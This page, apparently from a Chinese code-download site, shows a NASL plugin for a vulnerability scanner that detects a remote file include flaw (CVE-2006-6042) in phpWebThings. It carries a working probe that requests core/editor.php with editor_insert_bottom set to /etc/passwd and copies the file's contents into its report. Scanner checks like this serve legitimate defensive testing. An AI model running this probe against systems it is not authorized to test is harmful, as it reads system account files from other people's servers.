⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 phpwebthings_rfi.nasl

📁 漏洞扫描源码,可以扫描linux,windows,交换机路由器
💻 NASL
字号:
# kst-gpl#       This script was written by Justin Seitz <jms@bughunter.ca>#	Per Justin : GPLv2#desc["english"] = "Synopsis :The remote web server contains a PHP script that is affected by aremote file include issue. Description:The remote web server is running phpWebThings, a PHP based photogallery management system. The version of phpWebThings installed on the remote host fails tosanitize input to the 'editor_insert_bottom' parameter before using itin the 'core/editor.php' script to include PHP code.  Provided PHP's'register_globals' setting is enabled, an unauthenticated attacker canexploit this issue to view arbitrary files and execute arbitrary code,possibly taken from third-party hosts, on the remote host. See also :http://milw0rm.com/exploits/2811Solution :No patches or upgrades have been reported by the vendor at this time. Risk factor :Medium / CVSS Base Score : 6.8(CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)";if(description){ # set script identifiers script_id(80078);; script_version("$Revision: 1.3 $"); script_cve_id("CVE-2006-6042"); script_bugtraq_id(21178); script_xref(name:"OSVDB", value:"30503"); name["english"] = "phpWebThings editor_insert_bottom Parameter Remote File Include Vulnerability"; summary["english"] = "Tries to read a local file with phpWebThings"; family["english"] = "CGI abuses"; script_name(english:name["english"]); script_description(english:desc["english"]); script_summary(english:summary["english"]); script_category(ACT_ATTACK); script_copyright(english:"This script is Copyright (C) 2006 Justin Seitz"); script_family(english:family["english"]); script_dependencies("http_version.nasl"); script_require_ports("Services/www", 80); script_exclude_keys("Settings/disable_cgi_scanning"); exit(0);}include("global_settings.inc");include("http_func.inc");include("http_keepalive.inc");port = get_http_port(default:80);## verify we can talk to the web server, if not exit#if(!get_port_state(port)) exit(0);if(!can_host_php(port:port)) exit(0);## create list of directories to scan## Loop through directories.if (thorough_tests) dirs = make_list("/phpwebthings", "/webthings", "/phpwt", "/things", cgi_dirs());else dirs = make_list(cgi_dirs());## Iterate through the list#file = "/etc/passwd";foreach dir (dirs) {###       Attack: Attempt a file include of /etc/passwd##  attackreq = http_get(item:string(dir, "/core/editor.php?editor_insert_bottom=", file),port:port);  attackres = http_keepalive_send_recv(port:port, data:attackreq, bodyonly:TRUE);  if (attackres == NULL) exit(0);  if (egrep(pattern:"root:.*:0:[01]:", string:attackres) ||    string("main(", file, "): failed to open stream: No such file") >< attackres ||    "open_basedir restriction in effect. File(" >< attackres)   {    passwd = "";    if (egrep(pattern:"root:.*:0:[01]:", string:attackres))      passwd = egrep(pattern:"^[a-z_0-9$-]+:.*:[0-9]*:[0-9]*:.*:", string:attackres);	    if (passwd) {      if (dir == "") dir = "/";      info = string("The version of phpWebThings installed in directory '", dir, "'\n",        "is vulnerable to this issue. Here are the contents of /etc/passwd\n",        "from the remote host :\n\n", passwd);     report = string(desc["english"],"\n\nPlugin output\n\n",info);    }    else report = desc["english"];    security_warning(data:report, port:port);    exit(0);  }}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -